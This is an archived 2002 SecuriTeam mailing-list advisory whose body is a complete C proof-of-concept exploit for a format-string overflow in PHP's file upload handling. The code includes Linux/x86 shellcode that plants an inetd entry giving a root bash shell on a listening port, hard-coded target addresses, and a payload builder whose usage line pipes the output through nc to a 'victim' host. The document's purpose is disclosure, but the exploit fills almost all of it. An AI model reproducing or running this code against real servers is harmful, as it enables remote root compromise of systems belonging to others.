[EXPL] PHP Remote Exploit Code Released (FILEUPLOAD, multipart/form-data)

From: support@securiteam.com
Date: 03/09/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sat,  9 Mar 2002 11:50:09 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  PHP Remote Exploit Code Released (FILEUPLOAD, multipart/form-data)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5GP0L206AG.html> Multiple Remote
Vulnerabilities in PHP's Fileupload Code, a vulnerability in PHP allows
execution of arbitrary code on the remote system. The following is a proof
of concept exploit code.

DETAILS

Exploit code:
/* PHP 3.0.16/4.0.2 remote format overflow exploit.
 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
 * Usage: phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
 */

/*
 * We just printf the shellcode and stuff and nc it to the target
 */
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL
at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode.
/*
 * This shellcode is for Linux/x86.
 * This shellcode spawns a shell and runs the command
 * echo 'ingreslock stream tcp nowait root /bin/bash bash
-i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
 */
char shellcode[] = {
0xeb,0x41,
0x5e,
0x31,0xc0,
0x31,0xdb,
0xb0,0xa0,
0x89,0x34,0x06,
0x8d,0x4e,0x07,
0x88,0x19,
0x41,
0x41,
0xb0,0xa4,
0x89,0x0c,0x06,
0x8d,0x4e,0x0b,
0x88,0x19,
0x41,
0xb0,0xa8,
0x89,0x0c,0x06,
0x8d,0x4e,0x7f,
0x88,0x19,
0x31,0xd2,
0xb0,0xac,
0x89,0x14,0x06,
0x89,0xf3,
0x89,0xf1,
0xb0,0xa0,
0x01,0xc1,
0xb0,0x0b,
0xcd,0x80,
0x31,0xc0,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0xe8,0xba,0xff,0xff,0xff,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */
0x2d,0x63,0xff, /* the string "-c" */
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NOP 0x90

/*
 * the PHP3 error buffer will already contain PHP 3 Warning: The
Content-Type
 * string was "multipart/form-data. This is 66 bytes long. we send 2
spaces
 * for padding the addresses we embed in our attack buffer on word
boundary
 */
#define PHP3_WARNING 68
#define BUF_LEN 1024

struct system_type {
        char *name;
        unsigned int nop;
        char *shellcode;
        int shellcode_len;
        int offset; /* the number of pops we need to
get to our own data*/
        int already_written; /* number of bytes written by
printf by the time we reach the our embedded data */

        unsigned int eip_address; /* address where shellcode_address
must be put */
        unsigned int shellcode_address; /* address of shellcode in
memory */
};

struct system_type systems[] = {
                {
                        "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP
3.0.16 (static module)",
                        0x90,
                        shellcode,
                        270, /* not exact but we got lots of space ;)
*/
                        27,
                        0x152,
                        0xbfff9c30,
                        0xbfff962c,
                },
                // somebody find these and fill it in please. should be
                // straightforward.
                {
                        "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16
(static module)",
                        (unsigned int)NULL,
                        NULL,
                        (int)NULL,
                        (int)NULL,
                        (int)NULL,
                        (unsigned int)NULL,
                        (unsigned int)NULL,
                },
                {
                        NULL,
                        (unsigned int)NULL,
                        NULL,
                        (int)NULL,
                        (int)NULL,
                        (int)NULL,
                        (unsigned int)NULL,
                        (unsigned int)NULL,
                },
};

void usage (void);
void parse_url (char *, char *);
void prepare_attack_buffer (char *, struct system_type *, char *);
int calculate_precision (unsigned int, int);

int
main (int argc, char *argv[])
{
        char attack_buffer[2000]; // we construct the shellcode and
stuff here
                                                                           
     // the target is 1024 bytes long
        struct system_type *sysptr;
        char *url; // i hope these things
dont get bigger than this
        char target[2048]; // target will contain
only the FQDN
        unsigned int eip_address = 0, shellcode_address = 0;
        int ctr = 0;
        int nop_count;
        char *walk;
        int arg;

        // at least expect a system type and url from the command line
        if (argc < 3)
                usage ();

        // parse arguments
        while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
                switch (arg){
                        case 'h':
                                                sscanf (optarg, "%x",
&shellcode_address);
                                                break;
                        case 'e':
                                                sscanf (optarg, "%x",
&eip_address);
                                                break;
                        case 's':
                                                sysptr = &systems[atoi
(optarg)];
                                                break;
                        case 'u':
                                                url = optarg;
                                                parse_url (url, target);
                                                break;
                        case '?':
                        default :
                                                usage ();
                }
        }

        if (eip_address)
                sysptr->eip_address = eip_address;
        if (shellcode_address)
                sysptr->shellcode_address = shellcode_address;
        prepare_attack_buffer (attack_buffer, sysptr, url);

        // as of now write it out to stdout. later write it to a socket
        write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}

void
prepare_attack_buffer (char *attack_buffer, struct system_type *system,
                                                                char *url)

{
        int dest_buffer_written; /* we keep track of how
much bytes will be written in the destination buffer */

        int ctr;
        char *address;
        char buf[25]; //
temp buffer for %xd%n%xd%n%xd%n%xd%n
                                                                           
             // where x is precision
        int p1,p2,p3,p4;
        int nop_count;

        bzero (attack_buffer, 2000);
        sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection:
close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url);

        // mark strlen here. whatever we write after here appears in the
buffer
        dest_buffer_written = strlen (attack_buffer);

        strcat (attack_buffer, "\x11\x11\x11\x11");
        address = (char *)&system->eip_address;
        strncat (attack_buffer, address, 4);
        strcat (attack_buffer, "\x11\x11\x11\x11");
        system->eip_address++;
        address = (char *)&system->eip_address;
        strncat (attack_buffer, address, 4);
        strcat (attack_buffer, "\x11\x11\x11\x11");
        system->eip_address++;
        address = (char *)&system->eip_address;
        strncat (attack_buffer, address, 4);
        strcat (attack_buffer, "\x11\x11\x11\x11");
        system->eip_address++;
        address = (char *)&system->eip_address;
        strncat (attack_buffer, address, 4);

        /*
         * we need to add %x corresponding to the number of pops we need
to reach
         * our embedded addresses we defined above
         */
        for (; system->offset; system->offset--)
                strcat (attack_buffer, "%x ");

        p1 = calculate_precision ((system->shellcode_address &
0x000000ff), system->already_written);
        p2 = calculate_precision ((system->shellcode_address & 0x0000ff00)
>> 8, system->already_written);
        p3 = calculate_precision ((system->shellcode_address & 0x00ff0000)
>> 16, system->already_written);
        p4 = calculate_precision ((system->shellcode_address & 0xff000000)
>> 24, system->already_written);
        sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);

        strcat (attack_buffer, buf);

        ctr = strlen (attack_buffer);
        dest_buffer_written = ctr - dest_buffer_written;
        dest_buffer_written += PHP3_WARNING; // dest_buffer_written now
contains the number of bytes the PHP_WARNING and then the 8 4 byte values
and then the %x to pop off the stack

        attack_buffer += ctr;
        nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;

        memset (attack_buffer, NOP, nop_count);
        /*
         * Add our shellcode at last
         */
        attack_buffer += nop_count;
        strcat (attack_buffer, shellcode);
        strcat (attack_buffer, "\n");
        strcat (attack_buffer, "Content-Length: 1337\n\n");
}

void
usage (void)
{
        int ctr;

        fprintf (stderr, " Apache/PHP
xploit\n");
        fprintf (stderr, " Field Marshal Count August Anton Wilhelm
Neithardt von Gneisenau\n");
        fprintf (stderr, " for the
r00tcrew\n");
        fprintf (stderr, " All rights
reserved\n");
        fprintf (stderr, "\nUsage:\n");
        fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h
shellcode address ]\n\n");
        fprintf (stderr, "url: the complete url including FQDN and script
on the server\n");
        fprintf (stderr, " www.victim.com/info.php3\n");
        fprintf (stderr, "available systypes:\n");

        for (ctr = 0; systems[ctr].name; ctr++)
                fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
        fprintf (stderr, "eip address: the address which the xploit
overwrites with buffer address (specify thus 0xbfff9c30) \n");

        fprintf (stderr, "shellcode address: the address which points to
the NOPs (specify thus 0xbfff962c)\n");
        fprintf (stderr, "\n");
        exit (1);
}

void
parse_url (char *url, char *target)
{
        char *ptr;

        strcpy (target, url);
        if (!(ptr = index (target, '/'))){
                fprintf (stderr, "invalid url. specify the script name on
the target server too\n");
                exit (1);
        }
        *ptr = '\0';
}

/*
 * addr_byte contains the byte we need to write out. for example: 2c in
 * 0xbfff962c, then 96, ff and bf.
 */
int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
        static int already_written = 0;
        int tmp;

        if (!already_written)
                already_written = already_written_init;

        while (addr_byte < already_written)
                addr_byte += 0x100;

        tmp = addr_byte - already_written;
        already_written = addr_byte;
        return tmp;
}

ADDITIONAL INFORMATION

The information has been provided by Field Marshal Count August Anton
Wilhelm Neithardt von Gneisenau.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages


Quantcast